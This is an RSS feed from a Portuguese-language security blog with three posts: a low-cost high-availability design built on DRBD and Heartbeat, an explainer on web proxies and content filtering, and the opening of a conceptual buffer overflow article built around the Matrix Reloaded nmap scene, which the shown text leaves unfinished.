<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Dr. White Hat</title>
	<atom:link href="http://drwhitehat.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://drwhitehat.wordpress.com</link>
	<description>Sua porta de entrada para a Segurança da Informação</description>
	<lastBuildDate>Tue, 11 Nov 2008 12:13:10 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>pt-br</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='drwhitehat.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/a8437cddd2e4a6b473017876346873fc?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>Dr. White Hat</title>
		<link>http://drwhitehat.wordpress.com</link>
	</image>
			<item>
		<title>Alta disponibilidade com Baixo custo</title>
		<link>http://drwhitehat.wordpress.com/2008/11/07/alta-disponibilidade-com-baixo-custo/</link>
		<comments>http://drwhitehat.wordpress.com/2008/11/07/alta-disponibilidade-com-baixo-custo/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 01:02:28 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[alta disponibilidade]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=209</guid>
		<description><![CDATA[Disponibilidade também é segurança
A agilidade requerida pelas corporações no cenário globalizado, exige soluções tecnológicas que possibilitem a sua presença contínua no universo virtual. Dependendo do seu porte e tipo de negócio, alguns minutos de indisponibilidade de seus sistemas computacionais podem representar perdas de milhares de reais (ou dólares).
Como a segurança da informação está fundamentada na [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=209&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">Disponibilidade também é segurança</h2>
<p class="western">A agilidade requerida pelas corporações no cenário globalizado, exige soluções tecnológicas que possibilitem a sua presença contínua no universo virtual. Dependendo do seu porte e tipo de negócio, alguns minutos de indisponibilidade de seus sistemas computacionais podem representar perdas de milhares de reais (ou dólares).</p>
<p class="western">Como a segurança da informação está fundamentada na tríade: <strong>Confidencialidade</strong> (permitir o acesso à informação somente a quem tem direito), <strong>Integridade</strong> (garantia de que a informação seja recuperada tal como foi armazenada) e <strong>Disponibilidade</strong> (a informação tem que estar disponível sempre que se fizer necessário), vamos abordar hoje uma solução de alta disponibilidade.</p>
<p class="western">Normalmente quando pensamos em tais sistemas, imaginamos logo o cenários de grandes corporações, com servidores robustos, redundantes, <em>storage</em><span style="font-style:normal;"> com discos em RAID-5</span>, robôs para backup, etc. Mas, fazendo uso de softwares livres, é possível construir sistemas de alta disponibilidade, investindo muito pouco.</p>
<h2 class="western">Cenário típico</h2>
<p class="western">Vamos imaginar que uma empresa quer investir no comércio eletrônico, construindo um site para fazer vendas e/ou prestar algum tipo de serviço <em>on-line</em>. É sabido que esse tipo de site deve permanecer 24 horas por dia disponível para que seus clientes possam acessar quando desejarem, caso contrário, o eles procuram imediatamente outro site similar, traduzindo-se em prejuízo para a empresa.</p>
<p class="western">Com esse cenário hipotético em mente, vamos desenvolver uma possível solução.</p>
<p class="western">A alta disponibilidade pode ser provida através de dois <em>links</em> de internet de operadoras diferentes, conectados à um <em>appliance firewall/load balancer</em> que por sua vez fará o balanço de carga para dois servidores web respondendo pela camada de apresentação da aplicação. Cada servidor web fará acesso a um servidor de aplicações, cabendo à aplicação do servidor web comutar o acesso ao outro servidor de aplicações em caso de ausência de resposta do seu servidor primário. Ambos servidores de aplicações estarão acessando um único gerenciador de banco de dados por questões de integridade. O gerenciador de banco de dados será replicado em um servidor secundário, formando um <em>cluster</em> de alta disponibilidade com dois nós, o qual assumirá as transações em caso de <em>failover</em> do servidor primário, de forma transparente para a aplicação.</p>
<p class="western"><em><a href="http://drwhitehat.files.wordpress.com/2008/11/altadisp01.jpg"><img class="aligncenter size-full wp-image-212" title="altadisp01" src="http://drwhitehat.files.wordpress.com/2008/11/altadisp01.jpg?w=500&#038;h=163" alt="altadisp01" width="500" height="163" /></a>[Figura1] Esquema lógico com uso de storage.</em></p>
<p class="western">As soluções mais comuns de alta disponibilidade para banco de dados prevêem a utilização de <em>storages</em> compartilhados entre os servidores do <em>cluster</em>, entretanto, essa solução apresenta o inconveniente de ter os <em>storages</em> como único ponto de falha, além de ser um equipamento adicional que pode representar uma parcela significativa do orçamento.</p>
<p class="western">A solução que apresentamos, consiste na utilização do software <em>DRBD – Distributed Replicated Block Device</em> (<span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://www.drbd.org/">http://www.drbd.org</a></span></span>), que é largamente utilizada pela comunidade de software livre para implementar espelhamento de dispositivos de blocos (disco) entre dois servidores. Maiores detalhes serão abordados mais abaixo.</p>
<p class="western"><em><a href="http://drwhitehat.files.wordpress.com/2008/11/altadisp02.jpg"><img class="aligncenter size-full wp-image-213" title="altadisp02" src="http://drwhitehat.files.wordpress.com/2008/11/altadisp02.jpg?w=500&#038;h=183" alt="altadisp02" width="500" height="183" /></a>[Figura 2] Alta disponibilidade com uso de DRBD</em></p>
<p class="western">As linhas pontilhadas representam caminhos alternativos entre os servidores web e o banco de dados.</p>
<p class="western">Outro ponto de falha existente na solução é o <em>Load Balancer</em>, mas podemos considerar como um risco menor por se tratar de um dispositivo inteiramente “estado sólido”, sem uso de componentes mecânicos e cuja falha pode ser contornada com a conexão direta entre os roteadores e os servidores web.</p>
<p>Esse ponto de falha pode ser eliminado com uso de dispositivos que suportem redundância ou até mesmo com uso softwares como o <em>UltraMonkey</em> (<a href="http://www.ultramonkey.org/">http://www.ultramonkey.org/</a>), também lar­gamente utilizado pela comunidade para prover balanceamento de carga.</p>
<p class="western"><em><a href="http://drwhitehat.files.wordpress.com/2008/11/altadisp03a.jpg"><img class="aligncenter size-full wp-image-227" title="altadisp03a" src="http://drwhitehat.files.wordpress.com/2008/11/altadisp03a.jpg?w=447&#038;h=314" alt="altadisp03a" width="447" height="314" /></a>[Figura 3] Load Balance com UltraMonkey</em></p>
<p class="western">Essa solução é baseada no uso de sistema operacional Linux em máquinas redundantes, formando um <em>cluster</em> de alta disponibilidade com uso do <em>Heartbeat</em> (<span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://www.linux-ha.org/">http://www.linux-ha.org</a></span></span>).</p>
<h2 class="western">A Arquitetura de Software</h2>
<p class="western">Como já foi citando anteriormente, a solução baseia-se totalmente no uso de softwares livres para evitar custos com licenciamento de softwares. Os servidores devem utilizar o sistema operacional Linux. Pessoalmente indicaria Debian ou Ubuntu Server por questões de facilidade de manutenção, mas distribuição Linux é como religião: cada um tem a sua preferência e não se discute.</p>
<p class="western">As aplicações podem ser desenvolvidas com uso de tecnologias Java, por serem largamente utilizados e portáveis em sua essência.</p>
<p class="western">Os servidores web podem ter suas funcionalidades atendidas pelo uso de <em>Apache Tomcat</em> e JSF (<em>Java Server Faces</em>) para o desenvolvimento da camada de apresentação das aplicações.</p>
<p class="western">A camada de negócios pode ser desenvolvida na plataforma EJB – <em>Enteprise Java Beans, </em>executando em servidores de aplicações, lançando mão do JBoss ou GlassFish.</p>
<p class="western">O EJB é um dos principais componentes da plataforma J2EE (<em>Java 2 Enterprise Edition</em>). É um componente do tipo servidor que executa no <em>container</em> do servidor de aplicação. Os principais objetivos da tecnologia EJB são fornecer um rápido e simplificado desenvolvimento de aplicações Java baseado em componentes distribuídas, transacionais, seguras e portáveis. O seu uso permite que aplicações da camada de apresentação criem instâncias de objetos remotos, de forma semelhante à tecnologia de <em>web services</em>, sendo que de forma mais robusta para soluções baseadas em Java.</p>
<p class="western">O banco de dados utilizado pode ser o PostgreSQL, que, apesar de ser de uso livre, é tão robusto e estável quanto as soluções comerciais e comparáveis ao banco de dados Oracle, que hoje é referência de mercado.</p>
<h2 class="western">A Solução para Alta Disponibilidade</h2>
<p class="western">O ponto chave da solução está no emprego do espelhamento do disco com uso do DRBD, aplicado aos servidores de bancos de dados, em conjunto como o uso do <em>Heartbeat</em> para prover alta disponibilidade através do recurso de <em>failover</em>.</p>
<p class="western">Na figura seguinte, temos a representação de um <em>cluster</em> formado por dois servidores, sendo um primário que responde por todas as conexões provenientes da rede.</p>
<p class="western"><em><a href="http://drwhitehat.files.wordpress.com/2008/11/altadisp04.gif"><img class="aligncenter size-full wp-image-215" title="altadisp04" src="http://drwhitehat.files.wordpress.com/2008/11/altadisp04.gif?w=500&#038;h=270" alt="altadisp04" width="500" height="270" /></a>[Figura 4] Alta disponibilidade com Heartbeat.</em></p>
<p class="western">O <em>Heartbeat</em>, executando no servidor secundário monitora constantemente o servidor primário. Havendo indisponibilidade do servidor primário, inicia-se o processo de <em><strong>failover</strong></em> e todas as funcionalidades são assumidas pelo secundário, havendo inclusive transferência de endereço IP, de tal forma que os clientes não são afetados, acessando os serviços pelo mesmo endereço IP inicial.</p>
<p class="western">Uma vez que o servidor primário volte a ficar disponível, inicia-se o processo de <em><strong>failback</strong></em>, onde todas as funcionalidades são devolvidas do servidor secundário para o primário.</p>
<p class="western">Para que o processo de transição entre os servidores primário e secundário seja efetiva, é necessário que os dados estejam replicados em ambos servidores, de forma consistente. Isso é obtido pelo uso do DRBD que “intercepta” todas as requisições de gravação em disco no servidor primário e replica para o servidor secundário através de um <em>link</em> de rede de alta velocidade, exclusivo entre os servidores e independente da infra-estrutura de rede local.</p>
<p class="western"><em><a href="http://drwhitehat.files.wordpress.com/2008/11/altadisp05.gif"><img class="aligncenter size-full wp-image-216" title="altadisp05" src="http://drwhitehat.files.wordpress.com/2008/11/altadisp05.gif?w=500&#038;h=273" alt="altadisp05" width="500" height="273" /></a>[Figura 5] DRBD em detalhes.</em></p>
<p class="western">Essa conexão é obtida pelo uso de interfaces <em>Gigabit Ethernet</em> e cabo <em>cross-over</em> entre os servidores, que se comunicam de forma exclusiva por esse meio.</p>
<p class="western">O <em>Heartbeat</em> do servidor secundário também utiliza essa conexão Gigabit para monitorar o estado do servidor principal e controlar as ações de <em>failover</em> e <em>failback</em>.</p>
<p class="western">Quando o servidor primário retorna após uma condição de <em>off-line</em>, o DRBD se encarrega de fazer a sincronização dos discos, antes de efetivar as ações de <em>failback</em>. O mesmo ocorre se o servidor secundário ficar <em>off-line</em>, com a diferença que não é tomada nenhuma ação de <em>failover/failback</em>.</p>
<p class="western">O DRBD pode trabalhar de duas formas: <em><strong>síncrona</strong></em>, onde as informações são gravadas simultaneamente nos dois servidores, ou <em><strong>assíncrona</strong></em>, onde a gravação entre os servidores são feitos de forma independentes, sendo mais indicado para conexões de baixa velocidade, como no caso se servidores fisicamente distantes.</p>
<h2 class="western">Detalhes da Solução</h2>
<p class="western">Os links de internet, com velocidade inicial de 2 Mbps devem ser fornecidos por diferente operadoras de telecom, para prover redundância no acesso à internet. Preferencialmente, os pontos de entrada no prédio devem ser feitos em locais diferentes para minimizar os riscos de queda por fatores externos como um acidente de trânsito, por exemplo, que venha a derrubar um poste por onde passam os cabos de comunicação.</p>
<p class="western">Os roteadores devem ser alugados como parte do contrato de prestação de serviços das operadoras, e devem prever a reposição dos mesmos em caso de pane, dentro no menor tempo possível, também previsto no <em>SLA – Service Level Agreement</em> (acordo de qualidade de serviço) do contrato.</p>
<p class="western">Os endereços de ambas operadoras responderão pelo domínio de internet da empresa, cuja alternância pode ser provida pelo servidor DNS.</p>
<p class="western">Uma vez que as requisições de conexões provenientes da internet cheguem ao site da empresa, o <em>Load Balancer</em> faz a distribuição das requisições entre os dois servidores web disponíveis. Esse dispositivo também pode cumprir a função de <em>firewall</em> de borda, provendo a segurança da rede em primeira instância.</p>
<p class="western">Os servidores web e de aplicações (dois de cada) são localizados na DMZ, independentes entre si, com a mesma cópia da aplicações rodando em cada par de servidores e acessando o servidor de banco de dados localizado na rede interna.</p>
<p class="western">Os servidores web e de aplicações poderiam rodar em cluster, mas não foram feitos dessa forma, para distribuir a carga entre diferentes servidores ao invés de trabalhar somente com um, deixando ou outro em <em>stand-by</em>.</p>
<p class="western">O <em>firewall</em> interno isola a DMZ da rede interna, provendo a segurança em profundidade, agindo como uma segunda barreira de contenção caso o <em>firewall</em> externo seja comprometido (invadido). Ele também tem a finalidade de controlar o acesso aos servidores da rede, feitos a partir das estações da rede local, a fim de proteger contra ataques internos.</p>
<p class="western">Para finalizar a infra-estrutura de alta disponibilidade, deve-se considerar as alternativas para a manutenção do fornecimento de energia elétrica. Como geralmente não é posível contar com diferentes fornecedores de energia elétrica, é necessário fazer uso de <em>no-breaks</em> e gerador de energia de emergência para suprir a alimentação dos equipamentos principais por um tempo superior ao tempo suportado pelo <em>no-break</em>.</p>
<h2 class="western">Topologia Física da Solução</h2>
<p class="western">O diagrama a seguir, apresenta a configuração final da topologia física da solução, evidenciando as áreas distintas:</p>
<p class="western"><strong>DMZ</strong>: Servidores que fornecem serviços para internet</p>
<p class="western"><strong>Rede Local – Servidores</strong>: Segmento de rede exclusivo para servidores, protegidos pelo <em>firewall</em> interno.</p>
<p class="western"><strong>Rede Local – Estações</strong>: Segmento de rede destinado às estações de trabalho da rede local.</p>
<p class="western"><em><a href="http://drwhitehat.files.wordpress.com/2008/11/altadisp06.jpg"><img class="aligncenter size-full wp-image-217" title="altadisp06" src="http://drwhitehat.files.wordpress.com/2008/11/altadisp06.jpg?w=500&#038;h=329" alt="altadisp06" width="500" height="329" /></a>[Figura 6] Topologia física da solução.</em></p>
<p class="western" style="font-style:normal;" align="justify">Nesse diagrama, foram incluídos um servidor e e-mail e DNS primário. O DNS secundário é respondido por um servidor interno, acessível pelo mapeamento de porta (<em>port forward</em>) feito pelo <em>firewall</em> interno.</p>
<h2 class="western">Considerações finais</h2>
<p class="western" align="justify">A solução ora apresentada visa atingir um ambiente de alta disponibilidade, a um custo reduzido pelo emprego de tecnologias de software de uso livre mas nem por isso, menos confiável ou de menor desempenho, sendo largamente aceitas como soluções mercado e endossadas por nomes de peso como IBM e Red Hat.</p>
<p class="western" align="justify">&#8212;&#8212;</p>
<p class="western" align="justify"><a href="http://drwhitehat.wordpress.com/2008/11/07/alta-disponibilidade-com-baixo-custo/#respond">Adicione um comentário</a>.</p>
<p class="western" align="justify">
<p class="western" align="justify">
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/209/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/209/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/209/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/209/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/209/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/209/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/209/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/209/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/209/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/209/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=209&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/11/07/alta-disponibilidade-com-baixo-custo/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/11/altadisp01.jpg" medium="image">
			<media:title type="html">altadisp01</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/11/altadisp02.jpg" medium="image">
			<media:title type="html">altadisp02</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/11/altadisp03a.jpg" medium="image">
			<media:title type="html">altadisp03a</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/11/altadisp04.gif" medium="image">
			<media:title type="html">altadisp04</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/11/altadisp05.gif" medium="image">
			<media:title type="html">altadisp05</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/11/altadisp06.jpg" medium="image">
			<media:title type="html">altadisp06</media:title>
		</media:content>
	</item>
		<item>
		<title>Proxy – Navegando por Procuração</title>
		<link>http://drwhitehat.wordpress.com/2008/10/31/proxy-navegando-por-procuracao/</link>
		<comments>http://drwhitehat.wordpress.com/2008/10/31/proxy-navegando-por-procuracao/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 14:41:51 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[privacidade]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=202</guid>
		<description><![CDATA[Num passado não muito distante&#8230;
Quando a internet começou a se popularizar, lá pela década de 80/90, a velocidade da última milha (da nossa casa até a operadora de telecomunicações) girava em torno de 33Kbps a 56Kbps, com acesso por linha discada e navegar na internet era um exercício de paciência. Se essa conexão fosse compartilhada [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=202&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">Num passado não muito distante&#8230;</h2>
<p class="western">Quando a internet começou a se popularizar, lá pela década de 80/90, a velocidade da <em>última milha</em> (da nossa casa até a operadora de telecomunicações) girava em torno de 33Kbps a 56Kbps, com acesso por linha discada e navegar na internet era um exercício de paciência. Se essa conexão fosse compartilhada por vários micros, numa pequena empresa, por exemplo, aí virava prova de admissão para um templo budista. Só sendo muito zen&#8230;</p>
<p class="western">Hoje as coisas mudaram. Qualquer um pode ter na sua casa, uma conexão de banda larga (Velox, Speed, etc) de alta velocidade (?). Uma banda larga mínima gira em torno de 300 Kbps o que já é algo em próximo de 10 vezes à velocidade da linha discada. Conexões de 1 Mega (1000 Kbps) são relativamente acessíveis para se ter em casa enquanto que nos anos 90, navegar com essa velocidade era privilégio de poucos funcionários de provedores de internet. Você acha muito!? No Japão, a velocidade mais comum para banda larga é 100 Megas! Isso, aqui no Brasil, ainda é a velocidade da maioria das redes locais.</p>
<h2 class="western">Entendendo a Função Cache</h2>
<p class="western">Voltando aos anos 90, para agilizar a navegação e preservar a banda (uso do link), usávamos o <em>Proxy</em> (traduzindo literalmente, <em>procurador</em> ou aquele que possui uma procuração), cumprindo a função de <em>cache</em> (memória intermediária).</p>
<p class="western">O <em>Proxy</em> nada mais é do que um software que serve de intermediário entre o micro do usuário e a internet. Quando um usuário acessa uma página da internet, ao invés de estabelecer uma conexão direta com o servidor web, ele tem sua requisição encaminhada para o <em>proxy</em> e este faz a conexão em seu lugar. As páginas que retornam do servidor web, são recebidas pelo <em>proxy</em> e encaminhadas para o usuário, armazenando uma cópia na sua <em>cache</em>. Se qualquer outro usuário da rede (ou o mesmo usuário) quiser acessar a mesma página, o <em>proxy</em> retorna a cópia armazenada na sua <em>cache</em>, evitando o acesso à internet. Com isso, o tráfego para internet é reduzido e a resposta ao usuário é mais rápida.</p>
<p class="western"><a href="http://drwhitehat.files.wordpress.com/2008/10/proxycache.jpg"><img class="aligncenter size-full wp-image-204" title="proxycache" src="http://drwhitehat.files.wordpress.com/2008/10/proxycache.jpg?w=500&#038;h=176" alt="" width="500" height="176" /></a></p>
<p class="western">
<p class="western">
<p class="western">
<h2 class="western">Funções Agregadas</h2>
<p class="western">Como todas as requisições de acesso à internet passando pelo <em>proxy</em>, novas funções foram agregadas e ele passou a ser utilizado também para monitorar e restringir o tipo de conteúdo que pode ou não ser acessível aos usuários da rede.</p>
<p class="western">Com a velocidades dos <em>links</em> disponíveis atualmente, o proxy passou a ter mais importância pelo controle de acesso à internet, do que propriamente pela sua função inicial de cache.</p>
<p class="western">Com a proliferação de ataques de vírus, <em>worms</em>, <em>trojans</em> e outras pragas, a filtragem de conteúdo acessíveis aos funcionários de uma empresa passou a ser uma questão de segurança. Muito desses incidentes estão relacionados a acessos a sites de pornografia ou softwares piratas.</p>
<p class="western">Outro aspecto importante no uso do <em>proxy</em> é a redução do desperdício de tempo gasto pelos funcionários, ao acessar sites que não tem nenhuma relação com o desempenho de suas atividades profissionais.</p>
<p class="western">A filtragem de conteúdo é feito pela busca por palavras chaves, na maioria das vezes pela URL (endereço) dos sites. Geralmente costuma-se utilizar uma <em>blacklist</em> (lista negra) que contém os endereços ou palavras chaves que negam os acessos. Algumas vezes, sites são bloqueados indevidamente por conter palavras da <em>blacklist</em>, o que torna necessário o uso das <em>whitelist</em> (lista branca) com a relação de sites explicitamente permitidos.</p>
<p class="western">O controle de acesso também pode implementado segundo duas formas de abordagem distintas: “<em>tudo que não for explicitamente proibido, é permitido</em>” ou “<em>tudo que não for explicitamente permitido, é proibido</em>”. Isso depende dos requisitos de segurança (ou tirania <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) da empresa.</p>
<h2 class="western">Desvio de Função</h2>
<p class="western">Quando um usuário acessa um servidor web, ele pode obter uma série de informações sobre ele . Como toda requisição de página é feita pelo <em>proxy</em> em última instância, ele também pode ser usado para fins de preservação da privacidade do usuário. Para todos os efeitos, quem está conectando no servido web é o <em>proxy</em> e não o usuário. Mas ainda assim, não são todos os <em>proxies</em> que “escondem” totalmente essas informações. (leia mais no meu artigo <a href="../2008/08/08/entre-na-internet-e-te-direi-quem-es/">Entre na internet e te direi quem és</a>)</p>
<p class="western">&#8212;&#8212;</p>
<p class="western"><a href="http://drwhitehat.wordpress.com/2008/10/31/proxy-navegando-por-procuracao#respond">Adicione um comentário</a>.</p>
<p class="western">
<p class="western">
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/202/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/202/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/202/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/202/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/202/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/202/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/202/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/202/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/202/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/202/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=202&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/10/31/proxy-navegando-por-procuracao/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>

		<media:content url="http://drwhitehat.files.wordpress.com/2008/10/proxycache.jpg" medium="image">
			<media:title type="html">proxycache</media:title>
		</media:content>
	</item>
		<item>
		<title>Invadindo Matrix &#8211; Entendendo o Buffer Overflow</title>
		<link>http://drwhitehat.wordpress.com/2008/10/17/invadindo-matrix-entendendo-o-buffer-overflow/</link>
		<comments>http://drwhitehat.wordpress.com/2008/10/17/invadindo-matrix-entendendo-o-buffer-overflow/#comments</comments>
		<pubDate>Fri, 17 Oct 2008 09:00:36 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[hacker]]></category>
		<category><![CDATA[invasão]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=167</guid>
		<description><![CDATA[Matrix &#8211; o filme
O filme “Matrix Reloaded” é um marco na indústria cinematográfica, não só pelos efeitos especiais, mas também do ponto de vista tecnológico, pela utilização de uma ferramenta de uso real no campo da segurança da informação.
A certa altura do filme, a personagem Trinity invade o computador da Matrix, utilizando o nmap para [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=167&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">Matrix &#8211; o filme</h2>
<p class="western">O filme “Matrix Reloaded” é um marco na indústria cinematográfica, não só pelos efeitos especiais, mas também do ponto de vista tecnológico, pela utilização de uma ferramenta de uso real no campo da segurança da informação.</p>
<p class="western">A certa altura do filme, a personagem Trinity invade o computador da Matrix, utilizando o <a href="http://insecure.org/">nmap</a> para fazer o reconhecimento de portas e assim detectando a porta 22 (SSH) aberta. Explorando uma vulnerabilidade do ser­vidor SSH, utiliza um <em>exploit</em> denominado &#8217;sshnuke&#8217; para ganhar acesso ao servidor.</p>
<p class="western"><a href="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow01.jpg"><img class="aligncenter size-full wp-image-169" title="bufferoverflow01" src="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow01.jpg?w=343&#038;h=170" alt="" width="343" height="170" /></a></p>
<p class="western">O nmap é uma ferramenta de reconhecimento largamente utilizada no dia-a-dia dos profissionais de segurança da informação (e dos crackers também), que permite mapeamento de portas utilizando diversas técnicas furtivas de reconhecimento além de identificar com boa precisão, o sistema operacional que roda no dispositivo remoto.</p>
<p class="western"><a href="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow02.jpg"><img class="aligncenter size-full wp-image-170" title="bufferoverflow02" src="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow02.jpg?w=285&#038;h=170" alt="" width="285" height="170" /></a></p>
<p class="western">A vulnerabilidade explorada, como se vê na figura acima, <em>SSHv1 CRC32</em>, era uma vulnerabilidade real, mas o <em>exploit</em> (sshkuke), embora fosse fruto da imaginação do autor, é plenamente factível.</p>
<h2 class="western">Entendendo o Buffer Overflow</h2>
<div id="Seção2" dir="ltr">
<p class="western"><span lang="pt-BR">A vulnerabilidade </span><a href="http://www.securityfocus.com/bid/2347/info"><span lang="pt-BR"><strong>ssh1 	crc32</strong></span></a><span lang="pt-BR"> foi descoberta no ano de 2001</span><span lang="pt-BR">, 	afetava as versões SSH menor que 1.2.32, openSSH menor que 2.3 	entre outras variações e era do tipo </span><span lang="pt-BR"><em>remote 	buffer overflow</em></span><span lang="pt-BR">. A exploração dessa 	vulnerabilidade permite a injeção um código malicioso no servidor 	remoto para executar as mais variadas ações como por exemplo, 	abrir um shell para uso do atacante, eliminar regras do </span><span lang="en-US"><em>firewall</em></span><span lang="pt-BR">, 	instalar um </span><span lang="en-US"><em>backdoor</em></span><span lang="pt-BR">, 	matar processos, criar usuários, etc, ou no mínimo provocar uma 	negação de serviço.</span></p>
<p class="western"><span lang="pt-BR">Um </span><span lang="pt-BR"><em>buffer 	overflow</em></span><span lang="pt-BR"> é um provocado por um erro 	de programação que gera uma </span><span lang="en-US"><em>exception</em></span><span lang="pt-BR"> no acesso à memória. Ele ocorre quando um processo tenta armazenar 	um dado além dos limites de um </span><span lang="en-US"><em>buffer</em></span><span lang="pt-BR"> de tamanho determinado, sobrescrevendo áreas de memória adjacentes 	a esse </span><span lang="en-US"><em>buffer</em></span><span lang="pt-BR">, 	incluindo alguns endereços de controle fluxo ou ponteiros de 	memória utilizados pelo processador, o que normalmente causa um 	erro de “</span><span lang="en-US"><em>Segmentation Fault</em></span><span lang="pt-BR">”, provocando o encerramento do programa. </span></p>
<p class="western"><span lang="pt-BR">Esses “</span><span lang="pt-BR"><em>endereços 	de controle de fluxo</em></span><span lang="pt-BR">”, na realidade, 	são ponteiros para a próxima instrução a ser executada pelo 	processador e se cuidadosamente sobrepostos, podem provocar um 	desvio no fluxo de execução normal do programa para o código 	maléfico do atacante.</span></p>
<p class="western">
<p class="western"><a href="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow031.png"><img class="aligncenter size-large wp-image-176" title="bufferoverflow031" src="http://drwhitehat.files.wordpress.com/2008/10/bufferoverflow031.png?w=500&#038;h=294" alt="" width="500" height="294" /></a></p>
<p class="western"><span lang="pt-BR">No esquema acima podemos ver 	um exemplo de como ocorre o ataque de </span><span lang="pt-BR"><em>buffer 	overflow</em></span><span lang="pt-BR">. Basicamente, o atacante 	envia um dado com tamanho maior que o espaço alocado para a <em>buffer</em>, 	juntamente com um código malicioso, de tal forma que o endereço de 	retorno da função, contido na região chamada de EIP, seja 	sobreposto para apontar para o código do atacante. </span></p>
